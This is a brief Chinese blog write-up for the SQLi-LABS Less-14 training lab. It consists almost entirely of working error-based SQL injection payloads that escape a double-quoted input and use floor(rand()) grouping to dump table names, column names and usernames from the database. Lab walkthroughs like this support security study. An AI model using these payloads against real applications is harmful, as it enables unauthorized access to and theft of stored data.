[SQLi-LABS] Less-14

最新推荐文章于 2023-07-24 10:01:45 发布

三无提督w

最新推荐文章于 2023-07-24 10:01:45 发布

阅读量149

点赞数

本文链接：https://blog.csdn.net/cf260469080/article/details/106066123

版权

双引号闭合，与上题相似

"and 1=1#
"union select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand()*2)) as a from information_schema.columns group by  2#  //爆表
"union select count(*),concat((select group_concat(column_name) from information_schema.columns where table_name='users'),floor(rand()*2)) as a from information_schema.columns group by  2#  //爆字段
"union select count(*),concat((select username from security.users limit 0,1),floor(rand()*2)) as a from information_schema.columns group by  2#  //爆内容